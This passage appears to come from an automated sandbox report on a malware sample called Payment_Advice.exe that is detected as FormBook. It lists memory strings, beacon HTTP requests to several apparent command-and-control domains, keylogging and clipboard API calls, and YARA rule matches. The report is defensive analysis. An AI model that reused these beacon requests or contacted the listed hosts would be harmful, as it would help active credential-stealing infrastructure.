Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYTL1i.img
Source: explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comer
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000F.00000000.1596839591.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/EM0
Source: explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com48
Source: Payment_Advice.exe, 00000000.00000003.1414188164.000000000789D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Payment_Advice.exe, 00000000.00000003.1414188164.000000000789D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: explorer.exe, 0000000F.00000002.3891932584.000000001279F000.00000004.80000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3848016870.000000000418F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.im-newbie-journal.online/hesf/?jBZ=bZ0cL2W3356ZdQMSZx0hbFAlBxxbFCW9aXPVjCHIIl88pIGO5acXF
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/predicting-what-the-pac-12-would-look-like-after-expansion-wi
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Source: unknown

DNS traffic detected: queries for: www.othersidewear.com

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001ED7A1 InternetReadFile,SetEvent,GetLastError,SetEvent,

6_2_001ED7A1

Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=szcn2kpEQ6L2Syu9mG2pKozAyrZLMpz3ThmLak2r9KpoKfLz6EjH9XrJVzpw+e6nWP1B&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.othersidewear.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=d2AGz1H3YsI9kghQJOJ7DZyuiCPgqoB+sSxuqf6m27exoGivXrHz5sUA11+t0RjRixK2&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.91fulizifen.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.shayun.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=Zexu6rzcFbxF4r/yRE1P6uhuDniKqQl2K3Z2GVMnXCfVfpJX9615KGPJ2pRkkggZfWm9&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.brownkrosshui.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=p36eIKN5Lwa/8BGKFMSG6AYkxDDJkwu9kGEjCpPHv7kROoaFrm0HZc0Jy9RwJeFaeZw5&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.usbulletinnow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=bZ0cL2W3356ZdQMSZx0hbFAlBxxbFCW9aXPVjCHIIl88pIGO5acXFwKQ6PqG5/DWthgZ&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.im-newbie-journal.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=C6m+T/QSDYRxkia6wo2b10sg9WxaAAR9Ewn+rwYRRUW3VljC+LgrolCw9oI9hSyVjjh+&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.tygyro.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /hesf/?jBZ=Yl+PPX/Fw39a2JSf74vYq4wd93NvWGX3Wu4/ealva/bJOpk7yrAe/vXYfNyLtgAB6gnO&Gvw=T4RpitPpFtBLx HTTP/1.1Host: www.87b52.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 06 Oct 2023 13:47:05 GMTContent-Type: text/htmlContent-Length: 673Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 73 68 61 79 75 6e 2e 6e 65 74 2f 68 65 73 66 2f 3f 6a 42 5a 3d 72 42 42 6d 37 39 79 57 6a 2f 30 73 63 54 75 33 35 6e 42 54 6a 65 66 48 42 33 79 48 46 52 2f 39 75 4e 38 49 58 6f 69 30 44 52 62 67 4d 62 64 32 63 6e 4d 76 73 5a 59 58 46 75 70 73 48 51 33 6d 71 79 37 4a 26 61 6d 70 3b 47 76 77 3d 54 34 52 70 69 74 50 70 46 74 42 4c 78 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 6a 36 63 64 77 37 33 6f 71 39 37 32 73 39 73 37 78 6a 68 78 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 33 2f 31 30 2f 30 36 20 32 31 3a 34 37 3a 30 35 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 2f 32 2e 33 2e 32 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://www.shayun.net/hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx</td></tr><tr><td>Server:</td><td>izj6cdw73oq972s9s7xjhxz</td></tr><tr><td>Date:</td><td>2023/10/06 21:47:05</td></tr></table><hr/>Powered by Tengine/2.3.2<hr><center>tengine</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 06 Oct 2023 13:48:48 GMTContent-Type: text/htmlContent-Length: 146Connection: closeServer: nginxVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to modify clipboard data

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001EF6C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_001EF6C7

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001DA54A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

6_2_001DA54A

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001EF45C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_001EF45C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

6_2_001EF45C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_00209ED5 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00209ED5

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
